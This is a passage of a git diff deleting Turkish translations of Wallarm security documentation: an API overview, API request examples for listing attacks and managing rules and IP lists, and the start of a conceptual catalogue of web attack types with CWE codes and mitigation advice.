ihlalleriyle ilgili olayları bulmak için **Attacks** bölümünde [uygun arama anahtarlarını](../user-guides/search-and-filters/use-search.md#spec-violation-tags) veya ilgili filtreleri kullanın. - -Yapılandırılmış politika ihlali eylemlerine bağlı olarak engellenen ve izlenen olaylar gösterilebilir. Olay ayrıntılarında ihlal türü ve buna neden olan spesifikasyona bağlantı görüntülenir. - -![Spesifikasyon - güvenlik politikalarını uygulamak için kullanım](../images/api-specification-enforcement/api-specification-enforcement-events.png) - -## Limit aşımı olayları - -Spesifikasyon politikalarınızla ilgili olayları görüntülerken, istekler işlenirken API Spesifikasyonu Zorlaması için uygulanan limitlere ilişkin **Specification processing overlimit** türünde bir olaya rastlayabilirsiniz. Ayrıntılar ve olası eylemlerinizin açıklaması için [buraya](overview.md#how-it-works) bakın. - -Limit aşımı olaylarını **Attacks** bölümünde `processing_overlimit` arama anahtarı veya **Processing overlimit** filtresiyle bulabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/api/overview.md b/docs/latest-tr/api/overview.md deleted file mode 100644 index 87fe8183ff..0000000000 --- a/docs/latest-tr/api/overview.md +++ /dev/null @@ -1,68 +0,0 @@ -[user-roles-article]: ../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../images/api-tokens-edit.png - -# Wallarm API genel bakış - -Wallarm API, Wallarm sisteminin bileşenleri arasında etkileşim sağlar. Aşağıdaki varlıkları oluşturmak, almak veya güncellemek için Wallarm API yöntemlerini kullanabilirsiniz: - -* zafiyetler -* saldırılar -* olaylar -* kullanıcılar -* müşteriler -* filtre düğümleri -* vb. - -API yöntemlerinin açıklaması, Wallarm Console → sağ üst → `?` → **Wallarm API Console** yolundan erişilebilen **Wallarm API Console** içinde veya doğrudan şu bağlantıdan verilir: - -* [ABD bulutu](../about-wallarm/overview.md#cloud) için https://apiconsole.us1.wallarm.com/ -* [AB bulutu](../about-wallarm/overview.md#cloud) için https://apiconsole.eu1.wallarm.com/ - -![Wallarm API Console](../images/wallarm-api-reference.png) - -## API uç noktası - -API istekleri aşağıdaki URL'ye gönderilir: - -* [ABD bulutu](../about-wallarm/overview.md#cloud) için `https://us1.api.wallarm.com/` -* [AB bulutu](../about-wallarm/overview.md#cloud) için `https://api.wallarm.com/` - -## API isteklerinin kimlik doğrulaması - -Wallarm API istekleri yapmak için doğrulanmış bir kullanıcı olmanız gerekir. API isteklerinin kimlik doğrulama yöntemi, isteği gönderen istemciye bağlıdır: - -* [API Reference UI](#wallarm-api-console) -* [Kendi API istemciniz](#your-own-api-client) - -### Wallarm API Console - -İstek kimlik doğrulaması için bir token kullanılır. Bu token, Wallarm hesabınızda başarılı kimlik doğrulamadan sonra oluşturulur. - -1. Aşağıdaki bağlantıyı kullanarak Wallarm Console'a giriş yapın: - * US bulutu için https://us1.my.wallarm.com/ - * EU bulutu için https://my.wallarm.com/ -2. Aşağıdaki bağlantıyı kullanarak Wallarm API Console sayfasını yenileyin: - * US bulutu için https://apiconsole.us1.wallarm.com/ - * EU bulutu için https://apiconsole.eu1.wallarm.com/ -3. Gerekli API yöntemine gidin → **Try it out** bölümünde parametre değerlerini girin ve isteği **Execute** edin. - -### Kendi API istemciniz - -Kendi API istemcinizden Wallarm API'ye yapılan isteklerin kimlik doğrulamasını yapmak için: - -1. [ABD Bulutu](https://us1.my.wallarm.com/) veya [AB Bulutu](https://my.wallarm.com/) üzerindeki Wallarm hesabınıza giriş yapın → **Settings** → **API tokens**. -1. Wallarm API'ye erişmek için [Token oluşturun](../user-guides/settings/api-tokens.md). -1. Token'ınızı açın ve **Token** bölümündeki değeri kopyalayın. -1. Gerekli API isteğini gönderirken `X-WallarmApi-Token` başlık parametresinde **Token** değerini iletin. - -[API tokenları hakkında daha fazla bilgi →](../user-guides/settings/api-tokens.md) - - - -## API geliştirme ve dokümantasyona Wallarm yaklaşımı - -Wallarm API Referansı, gösterilen tüm verilerin API'den dinamik olarak alındığı tek sayfalık bir uygulamadır (SPA). Bu tasarım, yeni veri ve işlevlerin önce genel API'de kullanıma sunulduğu ve bir sonraki adımda API Referansı'nda açıklandığı [API-first](https://swagger.io/resources/articles/adopting-an-api-first-approach/) yaklaşımını kullanmamızı sağlar. Normalde tüm yeni işlevler hem genel API'de hem de API Referansı'nda paralel olarak yayımlanır, ancak bazen yeni API değişiklikleri API Referansı değişikliklerinden önce yayımlanır ve bazı işlevler yalnızca genel API üzerinden kullanılabilir. - -Wallarm API Referansı, Swagger dosyasından [Swagger UI](https://swagger.io/tools/swagger-ui/) aracı kullanılarak üretilir. API Referansı, mevcut API uç noktaları, yöntemleri ve veri yapıları hakkında bilgi edinmenin kolay bir yolunu sunar. Ayrıca mevcut tüm uç noktaları denemenin basit bir yolunu da sağlar. \ No newline at end of file diff --git a/docs/latest-tr/api/request-examples.md b/docs/latest-tr/api/request-examples.md deleted file mode 100644 index aeda0825f2..0000000000 --- a/docs/latest-tr/api/request-examples.md +++ /dev/null @@ -1,240 +0,0 @@ -[access-wallarm-api-docs]: overview.md#your-own-api-client -[application-docs]: ../user-guides/settings/applications.md - -# Wallarm API istek örnekleri - -Aşağıda Wallarm API kullanımına dair bazı örnekler yer almaktadır. Ayrıca [US bulutu](https://apiconsole.us1.wallarm.com/) veya [EU bulutu](https://apiconsole.eu1.wallarm.com/) için API Reference UI üzerinden kod örnekleri üretebilirsiniz. Deneyimli kullanıcılar, tarayıcının Geliştirici konsolunu (“Network” sekmesi) kullanarak, Wallarm hesabınızın UI'ı tarafından genel API'den veri almak için hangi API uç noktalarının ve isteklerin kullanıldığını hızlıca öğrenebilir. Geliştirici konsolunu nasıl açacağınıza dair bilgiyi resmi tarayıcı dokümantasyonunda bulabilirsiniz ([Safari](https://support.apple.com/guide/safari/use-the-developer-tools-in-the-develop-menu-sfri20948/mac), [Chrome](https://developers.google.com/web/tools/chrome-devtools/), [Firefox](https://developer.mozilla.org/en-US/docs/Tools), [Vivaldi](https://help.vivaldi.com/article/developer-tools/)). - -## Son 24 saat içinde tespit edilen ilk 50 saldırıyı alın - -Lütfen `TIMESTAMP` değerini, 24 saat önceki tarihi [Unix Timestamp](https://www.unixtimestamp.com/) formatına dönüştürerek değiştirin. - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -## Çok sayıda saldırı alın (100 ve üzeri) - -100 veya daha fazla kaydı içeren saldırı ve hit kümeleri için, performansı optimize etmek amacıyla büyük veri kümelerini bir kerede almak yerine verileri daha küçük parçalar halinde almak en iyisidir. İlgili Wallarm API uç noktaları, sayfa başına 100 kayıt ile imleç (cursor) tabanlı sayfalamayı destekler. - -Bu teknik, veri kümesindeki belirli bir öğeye işaretçi döndürmeyi ve ardından sonraki isteklerde sunucunun verilen işaretçiden sonraki sonuçları döndürmesini içerir. İmleç sayfalamasını etkinleştirmek için istek parametrelerine `"paging": true` dahil edin. - -Aşağıda, imleç sayfalaması kullanılarak `` tarihinden bu yana tespit edilen tüm saldırıları almak için API çağrısı örnekleri yer almaktadır: - -=== "AB Bulutu" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Bulutu" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -Bu istek, en yenisinden en eskiye doğru sıralanmış şekilde tespit edilen son 100 saldırı hakkındaki bilgileri döndürür. Ayrıca yanıtta, bir sonraki 100 saldırı kümesine işaret eden bir `cursor` parametresi de bulunur. - -Sonraki 100 saldırıyı almak için, önceki isteğin aynısını kullanın ancak önceki isteğin yanıtından kopyalanan işaretçi değeri ile `cursor` parametresini ekleyin. Bu, API'nin bir sonraki 100 saldırı kümesini nereden döndürmeye başlayacağını bilmesini sağlar, örneğin: - -=== "AB Bulutu" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Bulutu" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -Daha sonraki sayfaları almak için, değeri önceki yanıttan kopyalanmış `cursor` parametresini içeren istekler yürütün. - -Aşağıda, imleç sayfalaması kullanarak saldırıları almak için Python kodu örneği verilmiştir: - -=== "AB Bulutu" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX zamanı - - url = "https://api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` -=== "US Bulutu" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX zamanı - - url = "https://us1.api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "X-WallarmAPI-Secret": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` - -## Son 24 saat içinde doğrulanan ilk 50 olayı alın - -İstek, saldırı listesi için önceki örneğe çok benzer; bu isteğe `"!vulnid": null` terimi eklenmiştir. Bu terim, API'ye belirli bir güvenlik açığı kimliği belirtilmemiş tüm saldırıları yok saymasını söyler ve sistem saldırılar ile olayları bu şekilde ayırt eder. - -Lütfen `TIMESTAMP` değerini, 24 saat önceki tarihi [Unix Timestamp](https://www.unixtimestamp.com/) formatına dönüştürerek değiştirin. - ---8<-- "../include/api-request-examples/get-incidents-en.md" - -## Son 24 saat içinde durumu "active" olan ilk 50 güvenlik açığını alın - -Lütfen `TIMESTAMP` değerini, 24 saat önceki tarihi [Unix Timestamp](https://www.unixtimestamp.com/) formatına dönüştürerek değiştirin. - ---8<-- "../include/api-request-examples/get-vulnerabilities.md" - -## Yapılandırılmış tüm kuralları alın - ---8<-- "../include/api-request-examples/get-all-configured-rules.md" - -## Tüm kuralların yalnızca koşullarını alın - ---8<-- "../include/api-request-examples/get-conditions.md" - -## Belirli bir koşula bağlı kuralları alın - -Belirli bir koşulu belirtmek için ID’sini kullanın - bunu tüm kuralların koşullarını isterken alabilirsiniz (yukarıya bakın). - ---8<-- "../include/api-request-examples/get-rules-by-condition-id.md" - -## `/my/api/*` adresine gönderilen tüm istekleri engellemek için sanal yama oluşturun - ---8<-- "../include/api-request-examples/create-rule-en.md" - -## Belirli bir uygulama örneği ID'si için `/my/api/*` adresine gönderilen tüm istekleri engellemek üzere sanal yama oluşturun - -Bu isteği göndermeden önce bir uygulama [yapılandırılmalıdır](../user-guides/settings/applications.md). `action.point[instance].value` alanında mevcut bir uygulamanın ID’sini belirtin. - ---8<-- "../include/api-request-examples/create-rule-for-app-id.md" - -## `X-FORWARDED-FOR` başlığının belirli değeri olan istekleri saldırı olarak değerlendirecek kural oluşturun - -Aşağıdaki istek, `^(~(44[.]33[.]22[.]11))$` regexp’ine dayalı [özel saldırı göstergesi](../user-guides/rules/regex-rule.md) oluşturacaktır. - -`MY.DOMAIN.COM` alan adına gelen isteklerde `X-FORWARDED-FOR: 44.33.22.11` HTTP başlığı varsa, Wallarm düğümü bunları tarayıcı saldırıları olarak değerlendirecek ve ilgili [filtration mode](../admin-en/configure-wallarm-mode.md) ayarlanmışsa saldırıları engelleyecektir. - ---8<-- "../include/api-request-examples/create-rule-scanner.md" - -## Belirli uygulama için filtration mode değerini monitoring olarak ayarlayan kural oluşturun - -Aşağıdaki istek, ID’si `3` olan [uygulama](../user-guides/settings/applications.md) için, trafiği filtreleyecek [düğümü ayarlayan kuralı](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) monitoring modunda oluşturacaktır. - ---8<-- "../include/api-request-examples/create-filtration-mode-rule-for-app.md" - -## Kuralı ID'sine göre silin - -[Yapılandırılmış tüm kuralları alırken](#get-all-configured-rules) silinecek kuralın ID’sini kopyalayabilirsiniz. Ayrıca, kural oluşturma isteğine verilen yanıtta `id` yanıt parametresi içinde kural ID’si döndürülmüştür. - ---8<-- "../include/api-request-examples/delete-rule-by-id.md" - -## IP listesi nesnelerini alma, doldurma ve silme için API çağrıları - -Aşağıda, [IP listesi](../user-guides/ip-lists/overview.md) nesnelerini alma, doldurma ve silmeye yönelik bazı API çağrısı örnekleri yer almaktadır. - -### API istek parametreleri - -IP listelerini okumak ve değiştirmek için API isteklerinde iletilecek parametreler: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### Listeye `.csv` dosyasındaki girdileri ekleyin - -`.csv` dosyasından IP’leri veya alt ağları listeye eklemek için aşağıdaki bash betiğini kullanın: - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### Listeye tek bir IP veya alt ağ ekleyin - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### Listeye birden fazla ülke ekleyin - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### Listeye birden fazla proxy hizmeti ekleyin - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### IP listesinden bir nesneyi silin - -Nesneler, IP listelerinden ID’leri ile silinir. - -Bir nesnenin ID’sini almak için IP listesi içeriğini isteyin ve yanıttan ilgili nesnenin `objects.id` değerini kopyalayın: - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -Nesne ID’sine sahip olduğunuzda, onu listeden silmek için aşağıdaki isteği gönderin: - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -Silme isteğinde ID’leri bir dizi olarak geçerek birden fazla nesneyi aynı anda silebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/attacks-vulns-list.md b/docs/latest-tr/attacks-vulns-list.md deleted file mode 100644 index a9dbbee072..0000000000 --- a/docs/latest-tr/attacks-vulns-list.md +++ /dev/null @@ -1,1117 +0,0 @@ -# Saldırı ve Güvenlik Açığı Türleri - -[cwe-20]: https://cwe.mitre.org/data/definitions/20.html -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-88]: https://cwe.mitre.org/data/definitions/88.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-93]: https://cwe.mitre.org/data/definitions/93.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-113]: https://cwe.mitre.org/data/definitions/113.html -[cwe-96]: https://cwe.mitre.org/data/definitions/96.html -[cwe-97]: https://cwe.mitre.org/data/definitions/97.html -[cwe-150]: https://cwe.mitre.org/data/definitions/150.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-307]: https://cwe.mitre.org/data/definitions/307.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-409]: https://cwe.mitre.org/data/definitions/409.html -[cwe-425]: https://cwe.mitre.org/data/definitions/425.html -[cwe-444]: https://cwe.mitre.org/data/definitions/444.html -[cwe-511]: https://cwe.mitre.org/data/definitions/511.html -[cwe-521]: https://cwe.mitre.org/data/definitions/521.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[CWE-598]: https://cwe.mitre.org/data/definitions/598.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-776]: https://cwe.mitre.org/data/definitions/776.html -[cwe-799]: https://cwe.mitre.org/data/definitions/799.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html -[cwe-1270]: https://cwe.mitre.org/data/definitions/1270.html -[cwe-1294]: https://cwe.mitre.org/data/definitions/1294.html -[cwe-937]: https://cwe.mitre.org/data/definitions/937.html -[cwe-1035]: https://cwe.mitre.org/data/definitions/1035.html -[cwe-1104]: https://cwe.mitre.org/data/definitions/1104.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html -[link-owasp-inputval-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal -[link-wl-process-time-limit-directive]: admin-en/configure-parameters-en.md#wallarm_process_time_limit - -[doc-vpatch]: user-guides/rules/vpatch-rule.md - -[anchor-brute]: #brute-force-attack -[anchor-rce]: #remote-code-execution-rce -[anchor-ssrf]: #serverside-request-forgery-ssrf - -[link-imap-wiki]: https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol -[link-smtp-wiki]: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol -[ssi-wiki]: https://en.wikipedia.org/wiki/Server_Side_Includes -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html - -Bu makale, Wallarm’ın, [OWASP Top 10](https://owasp.org/www-project-top-ten/) ve [OWASP API Top 10](https://owasp.org/www-project-api-security/) güvenlik risk listelerinde yer alanlar da dahil tespit edebildiği saldırı ve güvenlik açıklarını listeler ve açıklar. Listedeki güvenlik açıklarının ve saldırıların çoğuna, [Common Weakness Enumeration][link-cwe] (CWE) olarak da bilinen yazılım zayıflık türleri listesinde yer alan bir veya daha fazla kod eşlik eder. - -!!! info "Yapılandırma gerekmez" - Saldırı/güvenlik açığı açıklamasında belirli bir yapılandırmadan bahsedilmiyorsa, bu Wallarm’ın bu saldırı/güvenlik açığını sizden herhangi bir yapılandırma gerektirmeden varsayılan olarak tespit ettiği ve bunu [filtration mode](admin-en/configure-wallarm-mode.md) ile uyumlu şekilde ele aldığı anlamına gelir. - -## Saldırı türleri - -Teknik olarak, Wallarm tarafından tespit edilebilen tüm saldırılar iki türe ayrılır: - -* **Girdi doğrulama saldırıları**, isteklere gönderilen belirli sembol kombinasyonları ile karakterize edilir ([SQL enjeksiyonu](#sql-injection), [çapraz site betik çalıştırma](#crosssite-scripting-xss), [uzaktan kod yürütme](#remote-code-execution-rce), [yol geçişi](#path-traversal) ve diğerleri). - - Girdi doğrulama saldırılarını tespit etmek için isteklerin sözdizimsel analizi gerekir - belirli sembol kombinasyonlarını tespit etmek üzere bunları ayrıştırmak. - - Wallarm, SVG, JPEG, PNG, GIF, PDF vb. ikili dosyalar dahil olmak üzere bir isteğin herhangi bir bölümündeki girdi doğrulama saldırılarını tespit eder. - - Wallarm, girdi doğrulama saldırılarını ve ilgili güvenlik açıklarını **otomatik olarak tespit eder** ve [filtration mode](admin-en/configure-wallarm-mode.md) ile uyumlu şekilde işlem yapar. Varsayılan davranışta, özel [kurallarınızın](user-guides/rules/rules.md) ve [tetikleyicilerinizin](user-guides/triggers/triggers.md) yapmış olabileceği değişiklikler olabileceğini unutmayın. - -* **Davranışsal saldırılar**, belirli istek sözdizimi **ve/veya** istek sayısı ile istekler arası zamanın belirli bir korelasyonu ile karakterize edilir ([kaba kuvvet](#brute-force-attack), [zorla gezinme](#forced-browsing), [BOLA](#broken-object-level-authorization-bola), [API suistimali](#suspicious-api-activity), [kimlik bilgisi doldurma](#credential-stuffing) ve diğerleri). - - Davranışsal saldırıları tespit etmek için isteklerin sözdizimsel analizinin ve istek sayısı ile istekler arası zamanın korelasyon analizinin yapılması gerekir. - - - -## DDoS saldırıları - -DDoS (Distributed Denial of Service - Dağıtık Hizmet Reddi) saldırısı, bir saldırganın bir web sitesini veya API’yi birden fazla kaynaktan gelen trafikle bunaltarak kullanılamaz hale getirmeye çalıştığı bir siber saldırı türüdür. - -Saldırganların bir DDoS saldırısı başlatmak için kullanabileceği birçok teknik vardır ve kullandıkları yöntem ve araçlar önemli ölçüde değişebilir. Bazı saldırılar nispeten basittir ve bir sunucuya çok sayıda bağlantı isteği gönderme gibi düşük seviyeli teknikler kullanırken, diğerleri IP adresi sahteciliği veya ağ altyapısındaki güvenlik açıklarından yararlanma gibi karmaşık taktikler kullanır. - -[DDoS’a karşı kaynakları koruma rehberimizi okuyun](admin-en/configuration-guides/protecting-against-ddos.md) - -## Sunucu tarafı saldırılar - -### SQL injection - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-89][cwe-89] - -**Wallarm kodu:** `sqli` - -**Açıklama:** - -Bu saldırıya karşı zafiyet, kullanıcı girdisinin yetersiz filtrelenmesi nedeniyle ortaya çıkar. SQL enjeksiyonu saldırısı, bir SQL veritabanına özel olarak hazırlanmış bir sorgu enjekte edilerek gerçekleştirilir. - -SQL enjeksiyonu saldırısı, bir [SQL sorgusuna](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1) rastgele SQL kodu enjekte etmeye olanak tanır. Bu, saldırgana gizli verileri okuma ve değiştirme erişimi ile birlikte DBMS yönetici haklarının verilmesine yol açabilir. - -**Wallarm korumasına ek olarak:** - -Wallarm’ın uyguladığı koruma önlemlerine ek olarak şu önerileri takip edebilirsiniz: - -* Kötü amaçlı öğelerin çalıştırılmasını önlemek için tüm API istek parametrelerini temizleyin ve filtreleyin. -* [OWASP SQL Injection Önleme Kılavuzu][link-owasp-sqli-cheatsheet] önerilerini uygulayın. - -### NoSQL injection - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-943][cwe-943] - -**Wallarm kodu:** `nosqli` - -**Açıklama:** - -Bu saldırıya karşı zafiyet, kullanıcı girdisinin yetersiz filtrelenmesi nedeniyle ortaya çıkar. NoSQL enjeksiyonu saldırısı, bir NoSQL veritabanına özel olarak hazırlanmış bir sorgu enjekte edilerek gerçekleştirilir. - -**Wallarm korumasına ek olarak:** - -* Kötü amaçlı bir öğenin girdide çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. - -### Remote code execution (RCE) - -**Güvenlik açığı/Saldırı** - -**CWE kodları:** [CWE-78][cwe-78], [CWE-94][cwe-94] ve diğerleri - -**Wallarm kodu:** `rce` - -**Açıklama:** - -Bir saldırgan, API’nize gönderdiği isteğe kötü amaçlı kod enjekte edebilir ve bu betik sunucuda yürütülür. Ayrıca saldırgan, savunmasız uygulamanın çalıştığı işletim sistemi için belirli komutları çalıştırmayı deneyebilir. - -Bir RCE saldırısı başarılı olursa, bir saldırgan aşağıdakiler de dahil olmak üzere geniş bir eylem yelpazesi gerçekleştirebilir: - -* Savunmasız verilerin gizliliğini, erişilebilirliğini ve bütünlüğünü tehlikeye atma. -* Uygulamanın çalıştığı işletim sistemi ve sunucunun kontrolünü ele geçirme. -* Diğer olası eylemler. - -Bu güvenlik açığı, kullanıcı girdisinin yanlış doğrulanması ve ayrıştırılmasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki bir öğenin çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. - -### SSI enjeksiyonu - -**Saldırı** - -**CWE kodu:** [CWE-96][cwe-96], [CWE-97][cwe-97] - -**Wallarm kodu:** `ssi` - -**Açıklama:** - -[SSI (Server Side Includes)][ssi-wiki], bir web sunucusundaki bir web sayfasına bir veya daha fazla dosyanın içeriğini dahil etmek için en kullanışlı olan basit, yorumlanan sunucu tarafı bir betik dilidir. Apache ve NGINX web sunucuları tarafından desteklenir. - -SSI Enjeksiyonu, HTML sayfalarına kötü amaçlı payload’lar enjekte edilerek veya uzaktan rastgele kodlar çalıştırılarak bir uygulamadan yararlanılmasına izin verir. Uygulamada kullanılan SSI’nin manipülasyonu yoluyla ya da kullanıcı girdi alanları üzerinden SSI kullanımını zorlayarak istismar edilebilir. - -**Örnek:** - -Bir saldırgan, mesaj çıktısını değiştirebilir ve kullanıcı davranışını değiştirebilir. SSI Enjeksiyonu örneği: - -```bash - -``` - -**Wallarm korumasına ek olarak:** - -* Girdideki kötü amaçlı payload’ların çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. -* [OWASP Girdi Doğrulama Kılavuzu][link-owasp-inputval-cheatsheet] önerilerini uygulayın. - -### Sunucu tarafı şablon enjeksiyonu (SSTI) - -**Güvenlik açığı/Saldırı** - -**CWE kodları:** [CWE-94][cwe-94], [CWE-159][cwe-159] - -**Wallarm kodu:** `ssti` - -**Açıklama:** - -Bir saldırgan, SSTI saldırılarına karşı savunmasız bir web sunucusundaki kullanıcı tarafından doldurulan bir forma yürütülebilir kod enjekte edebilir ve bu kod web sunucusu tarafından ayrıştırılıp yürütülür. - -Başarılı bir saldırı, savunmasız bir web sunucusunun tamamen tehlikeye girmesine neden olabilir; potansiyel olarak bir saldırganın keyfi istekler yürütmesine, sunucunun dosya sistemlerini keşfetmesine ve belirli koşullar altında uzaktan keyfi kod yürütmesine (ayrıntılar için [RCE saldırısına][anchor-rce] bakın) ve daha pek çok şeye olanak tanır. - -Bu güvenlik açığı, kullanıcı girdisinin yanlış doğrulanması ve ayrıştırılmasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki bir öğenin çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. - -### LDAP enjeksiyonu - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-90][cwe-90] - -**Wallarm kodu:** `ldapi` - -**Açıklama:** - -LDAP enjeksiyonları, bir saldırganın bir LDAP sunucusuna yönelik istekleri değiştirerek LDAP arama filtrelerini değiştirmesine olanak tanıyan bir saldırı sınıfını temsil eder. - -Başarılı bir LDAP enjeksiyonu saldırısı, potansiyel olarak LDAP kullanıcıları ve ana bilgisayarları hakkındaki gizli veriler üzerinde okuma ve yazma işlemlerine erişim sağlar. - -Bu güvenlik açığı, kullanıcı girdisinin yanlış doğrulanması ve ayrıştırılmasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -Wallarm’ın uyguladığı koruma önlemlerine ek olarak şu önerileri takip edebilirsiniz: - -* Girdideki bir öğenin çalıştırılmasını önlemek için bir uygulamanın girdi olarak aldığı tüm parametreleri temizleyin ve filtreleyin. -* [OWASP LDAP Injection Önleme Kılavuzu][link-owasp-ldapi-cheatsheet] önerilerini uygulayın. - -### E-posta enjeksiyonu - -**Saldırı** - -**CWE kodu:** [CWE-20][cwe-20], [CWE-150][cwe-150], [CWE-88][cwe-88] - -**Wallarm kodu:** `mail_injection` - -**Açıklama:** - -E-posta Enjeksiyonu, standart e-posta sunucusu davranışını değiştirmek için genellikle uygulama iletişim formu üzerinden gönderilen kötü amaçlı bir [IMAP][link-imap-wiki]/[SMTP][link-smtp-wiki] ifadesidir. - -Bu saldırıya karşı zafiyet, iletişim formuna girilen verilerin zayıf doğrulanması nedeniyle ortaya çıkar. E-posta Enjeksiyonu, e-posta istemcisi kısıtlamalarının atlanmasına, kullanıcı verilerinin çalınmasına ve spam gönderilmesine olanak tanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki kötü amaçlı payload’ların çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. -* [OWASP Girdi Doğrulama Kılavuzu][link-owasp-inputval-cheatsheet] önerilerini uygulayın. - -### Sunucu tarafı istek sahteciliği (SSRF) - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-918][cwe-918] - -**Wallarm kodu:** `ssrf` - -**Açıklama:** - -Başarılı bir SSRF saldırısı, bir saldırganın saldırıya uğrayan web sunucusu adına istekler yapmasına izin verebilir; bu da kullanılan ağ bağlantı noktalarının ortaya çıkmasına, dahili ağların taranmasına ve yetkilendirmenin atlanmasına yol açabilir. - -**Wallarm korumasına ek olarak:** - -* Girdideki kötü amaçlı bir öğenin çalıştırılmasını 